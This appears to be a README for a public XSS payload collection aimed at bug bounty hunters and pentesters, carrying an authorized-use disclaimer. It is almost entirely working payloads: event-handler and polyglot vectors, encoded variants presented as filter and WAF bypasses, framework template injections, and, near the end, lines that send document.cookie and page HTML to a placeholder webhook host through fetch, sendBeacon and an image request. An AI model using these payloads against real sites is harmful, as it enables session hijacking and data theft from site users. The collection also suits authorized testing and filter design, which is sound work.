Educational Use Only
These payloads are provided solely for authorized security testing, penetration testing, and bug bounty hunting. Always obtain explicit written permission before testing any system.
A regularly updated, well-organized collection of modern XSS payloads that actually work in 2025 against real-world WAFs, CSPs, and filters. Perfect for bug bounty hunters, pentesters, and red teamers.
Click to expand (15 payloads)
<script>alert(1)</script><img src=x onerror=alert(1)><svg onload=alert(1)><body onload=alert(1)><iframe src=javascript:alert(1)></iframe><input autofocus onfocus=alert(1)><details open ontoggle=alert(1)><marquee onstart=alert(1)>Loop</marquee><video><source onerror=alert(1)><audio src onerror=alert(1)><img src=x onerror=alert(document.domain)><svg><animate onbegin=alert(1) attributeName=x dur=1s><math><mi onclick=alert(1)>XSS</mi></math><table background="javascript:alert(1)"><link rel=stylesheet href="javascript:alert(1)">
Click to expand – extremely powerful (10 payloads)
javascript:alert(1)jaVasCript:/*--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=alert(1)//'>"><script>alert(1)</script>'><img src=x onerror=alert(1)></script><svg onload=alert(1)><img src=x onerror=alert(1)//<details open ontoggle=alert(1)</details>';alert(1);//";alert(1);//<svg><script>alert1<1></script>
Click to expand (WAF killers)
<script>eval('\141\154\145\162\164(1)')</script>→ octal<script>eval('\x61\x6c\x65\x72\x74(1)')</script>→ hex<script>\u0061\u006c\u0065\u0072\u0074(1)</script>→ unicode<img src=x onerror=eval('\x61\x6c\x65\x72\x74(1)')><a href="javascript:alert(1)">Click</a><img src=x onerror=alert(String.fromCharCode(49))><script src=data:,alert(1)></script><script>alert1</script>%3Cscript%3Ealert(1)%3C/script%3E→ URL encoded<svg/onload=alert(1)>
Click to expand
<body onresize=alert(1)>(trigger withwindow.resizeTo(500,500))<body onpageshow=alert(1)><body onfocus=alert(1)><body onhashchange=alert(1)>+ change#<details open ontoggle=alert(1)><video autoplay onplay=alert(1)><audio autoplay onplay=alert(1)>
Click to expand (Angular, React, Vue, Bootstrap, etc.)
{{constructor.constructor('alert(1)')()}}→ AngularJS${{alert(1)}}→ Some template engines<xss onanimationstart=alert(1) class="animate__animated"><div onpointerover=alert(1)>Hover me</div><iframe srcdoc="<svg onload=alert(1)>"></iframe>
Click to expand
<img src=https://your-webhook.com/?cookie= + document.cookie><script>fetch('https://your-webhook.com/'+document.cookie)</script><img src=x onerror=navigator.sendBeacon('https://your-webhook.com',document.body.innerHTML)>
Found a new working payload in 2025–2026?
→ Open a Pull Request! I’ll review and merge quickly.
- PortSwigger Web Security Academy
- PayloadsAllTheThings by Swissky
- OWASP XSS Filter Evasion Cheat Sheet
- My own bug bounty reports (2025–2026)
Star ⭐ this repo if it helped you pop an alert() in a real bug bounty program!
Feel free to fork, improve, and share with the community.
Happy Hacking! 🔴🧑💻